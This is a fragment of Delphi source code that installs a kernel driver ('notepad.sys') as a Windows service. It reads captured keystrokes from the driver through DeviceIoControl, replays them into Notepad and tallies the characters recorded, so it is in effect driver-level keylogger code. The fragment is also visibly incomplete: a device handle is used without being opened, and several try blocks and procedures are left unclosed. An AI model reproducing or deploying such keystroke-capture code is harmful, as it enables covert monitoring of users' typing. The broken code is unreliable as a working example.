function GetSysFocus : HWnd;
Var
hFgWin,FgThreadID: integer;
Begin
hFgWin := GetForegroundWindow;
FgThreadID := GetWindowThreadProcessID(hFgWin, nil);
If AttachThreadInput(GetCurrentThreadID, FgThreadID, true) Then
Begin
result := GetFocus;
AttachThreadInput(GetCurrentThreadID, FgThreadID, False);
End
else
result := 0;
End;
procedure MyThreadFunc(Sender: TObject);
var s,ss:string;
flag:boolean;
pp:pchar;
previous:integer;
focused:HWnd;
ch:char;
mykey:word;
begin
flag:=true;
previous:=0;
pp:=@output[8];
ss:='';
while flag do
begin
sleep(100);
targetWnd := FindWindow('Notepad',nil);
while targetWnd=0 do
begin
sleep(1000);
targetWnd := FindWindow('Notepad',nil);
content:= FindWindowEx(targetWnd,0,'Edit', '');
if ((content>0) and (targetWnd>0)) then
begin
form1.Button3.enabled:=true;
break;
end else targetWnd:=0;
end;
s:=StrPas(pp);
if s='' then continue;
if (length(s)>previous) then
begin
if (s<>'') then
begin
ch:=output[length(s)+7];
mykey:=Ord(ch);
focused:=GetSysFocus;
if focused=content then
begin
Case mykey of
$08..$09,$0d:PostMessage(content, WM_KEYDOWN,mykey, 0);
else
PostMessage(content, WM_CHAR, mykey, 0);
end ;
end;
if ((mykey>=$20) and (mykey<=$7e)) then ss:=ss+ch;
if mykey=$08 then ss:=copy(ss,1,length(ss)-1);
form1.Memo1.Text :=ss;
previous:= length(s);
end;
end;
if bnotRun then
begin
TerminateThread(hThreadHandle, 0);
Break;
end;
end;
end;
procedure readywork;
var
hDevice:Thandle;
cbBytesReturned:DWord;
Handle: Integer;
addr,addr1: LPDWORD;
Buffer : Array[0..255] of Byte;
tmp:byte;
begin
FillChar(Buffer,$100,#0);
if not DeviceIoControl(hDevice,$3e8,@Buffer,$100,@Buffer,$100, cbBytesReturned, nil ) then Exit;
CloseHandle(hDevice);
hThreadHandle:=CreateThread(nil,0,@MyThreadfunc,nil,0,dwThreadID);
if hThreadHandle=0 then showmessage('Didn’t Create a Thread');
end;
procedure TForm1.Button3Click(Sender: TObject);
var
SCManager: SC_Handle;
Service: SC_Handle;
Args: Pchar;
stStatus: TServiceStatus;
begin
SCManager := OpenSCManager(nil, nil, $F003F);
if SCManager = 0 then Exit;
try
Service := OpenService(SCManager,lpName,$F01FF);
if bnotRun then
begin
StartService(Service, 0,Args);
bnotRun:=false;
Button3.Caption:='结束';
readywork;
end else
begin
ControlService(Service, SERVICE_CONTROL_STOP, stStatus);
bnotRun:=true;
Button3.Caption:='开始';
content:=0;
targetWnd:=0;
showmessage('总共记录('+inttostr(length(memo1.Text))+')个字符');
end;
procedure TForm1.FormCreate(Sender: TObject);
var
SCManager: SC_HANDLE;
Service: SC_HANDLE;
lpSysName: Pchar;
begin
bnotRun:=true;
targetWnd :=0;
content:=0;
lpSysName:= pchar(GetCurrentDir+'\notepad.sys');
SCManager := OpenSCManager(nil, nil, $F003F);
if SCManager = 0 then Exit;
Service := CreateService(SCManager,lpName,lpName, 30, 1, 3, 1, lpSysName, nil, nil, nil, nil, nil);
if (Service<>0) then Button3.Enabled:=true
else showmessage('Error,try again');
CloseServiceHandle (Service);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
SCManager: SC_HANDLE;
Service: SC_HANDLE;
stStatus: TServiceStatus;
begin
bnotRun:=true;
SCManager := OpenSCManager(nil, nil, $F003F);
if SCManager = 0 then Exit;
try
Service := OpenService(SCManager,lpName,$F01FF);
ControlService(Service,SERVICE_CONTROL_STOP, stStatus);
DeleteService(Service);
CloseServiceHandle(Service);
finally
CloseServiceHandle(SCManager);
end;